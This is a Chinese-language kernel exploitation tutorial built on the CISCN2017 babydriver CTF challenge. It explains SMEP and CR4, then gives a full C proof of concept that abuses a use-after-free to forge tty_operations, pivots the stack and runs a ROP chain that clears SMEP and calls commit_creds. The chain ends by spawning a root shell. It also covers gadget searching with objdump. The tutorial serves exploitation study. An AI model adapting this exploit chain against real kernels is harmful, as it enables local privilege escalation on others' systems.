Linux Kernel Exploit 内核漏洞学习(3)-Bypass-Smep
字数 1161 2025-08-03 16:44:23
Linux内核漏洞利用:绕过SMEP保护机制
1. SMEP保护机制概述
SMEP (Supervisor Mode Execution Protection) 是Linux内核的一种保护机制,其作用是当CPU处于ring0模式时,如果执行了用户空间的代码就会触发页错误。这种保护机制主要用于防止ret2usr攻击。
2. 实验环境与前置知识
2.1 实验环境
- 使用CISCN2017 babydriver作为演示案例
- 环境已放在GitHub上可供下载学习
2.2 关键结构体
ptmx设备与tty_struct
- ptmx设备是tty设备的一种
- 当调用open函数时,会创建一个tty_struct结构体
- tty_struct通过kmalloc申请堆空间
tty_struct结构体
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // 关键结构体指针
// ...其他成员...
} __randomize_layout;
- 大小为0x2e0字节
tty_operations结构体
struct tty_operations {
struct tty_struct *(*lookup)(...);
int (*install)(...);
void (*remove)(...);
int (*open)(...);
void (*close)(...);
// ...其他函数指针...
int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
// ...更多函数指针...
} __randomize_layout;
- 包含多个函数指针,可用于控制流劫持
3. SMEP检测机制
SMEP保护的状态由CR4寄存器的第20位决定:
- 1:SMEP保护开启
- 0:SMEP保护关闭
示例:
- CR4=0x1407f0 (二进制0001 0100 0000 0111 1111 0000):SMEP开启
- CR4=0x6f0 (二进制0000 0000 0000 0110 1111 0000):SMEP关闭
修改方法:
mov cr4, 0x6f0
4. 漏洞利用思路
4.1 总体思路
- 利用UAF漏洞控制tty_struct结构体的空间
- 修改真实的tty_operations地址指向我们构造的虚假tty_operations
- 构造虚假tty_operations,修改其中的write函数指针为ROP链
- 利用修改后的write函数劫持程序流
4.2 关键问题解决
由于没有直接控制栈,需要通过调试找到栈转移的方法。通过分析发现:
- rax寄存器会保存tty_operations结构体的首地址
- 可以使用以下指令进行栈转移:
mov rsp, rax 或 xchg rsp, rax
4.3 虚假tty_operations构造
for (i = 0; i < 30; i++) {
fake_tty_opera[i] = 0xffffffff8181bfc5; // 填充通用gadget
}
fake_tty_opera[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_opera[1] = (size_t)rop; // ROP链地址
fake_tty_opera[3] = 0xffffffff8181bfC5; // mov rsp,rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
4.4 ROP链构造
size_t rop[20] = {0};
rop[i++] = 0xffffffff810d238d; // pop_rdi_ret
rop[i++] = 0x6f0; // CR4值(关闭SMEP)
rop[i++] = 0xffffffff81004d80; // mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161; // junk
rop[i++] = (size_t)get_root; // 提权函数
rop[i++] = 0xffffffff81063694; // swapgs_pop_rbp_ret
rop[i++] = 0x6161616161; // junk
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)shell; // 用户空间shell函数
rop[i++] = user_cs; // 保存的用户CS
rop[i++] = user_eflags; // 保存的EFLAGS
rop[i++] = user_sp; // 保存的用户栈指针
rop[i++] = user_ss; // 保存的用户SS
5. 完整利用代码(POC)
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
unsigned long user_cs, user_ss, user_eflags, user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void *fake_tty_opera[30];
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0 \n"
"movq %%ss, %1 \n"
"movq %%rsp, %3 \n"
"pushfq \n"
"popq %2 \n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
:
: "memory");
}
void get_root(){
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
int fd1, fd2, fd3, i = 0;
size_t fake_tty_struct[4] = {0};
size_t rop[20] = {0};
save_stats();
rop[i++] = 0xffffffff810d238d; // pop_rdi_ret
rop[i++] = 0x6f0; // CR4值
rop[i++] = 0xffffffff81004d80; // mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161; // junk
rop[i++] = (size_t)get_root; // 提权函数
rop[i++] = 0xffffffff81063694; // swapgs_pop_rbp_ret
rop[i++] = 0x6161616161; // junk
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)shell; // shell函数
rop[i++] = user_cs; // 用户CS
rop[i++] = user_eflags; // 用户EFLAGS
rop[i++] = user_sp; // 用户栈指针
rop[i++] = user_ss; // 用户SS
for (i = 0; i < 30; i++){
fake_tty_opera[i] = 0xffffffff8181bfc5;
}
fake_tty_opera[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_opera[1] = (size_t)rop; // ROP链地址
fake_tty_opera[3] = 0xffffffff8181bfC5; // mov rsp,rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
fd1 = open("/dev/babydev", O_RDWR);
fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_opera;
write(fd2, fake_tty_struct, 32);
write(fd3, "cc-sir", 6); // 触发ROP
return 0;
}
6. 编译与运行
编译命令:
gcc poc.c -o poc -w -static
运行:
./poc
7. 关键技巧
7.1 寻找gadget
当使用ropper或ROPgadget工具太慢时,可以尝试使用objdump:
查找CR4相关gadget:
objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"
查找swapgs相关gadget:
objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"
注意:
- 需要检查这些指令的地址是否连续可用
- 对于iretq指令,可能需要使用ropper工具查找
8. 总结
- 理解内核执行流程和关键结构体分配方式至关重要
- 利用UAF漏洞控制tty_struct结构体
- 通过修改tty_operations函数指针劫持控制流
- 使用ROP链关闭SMEP保护并提权
- 通过栈转移技术解决无直接栈控制的问题
- 合理使用工具查找所需gadget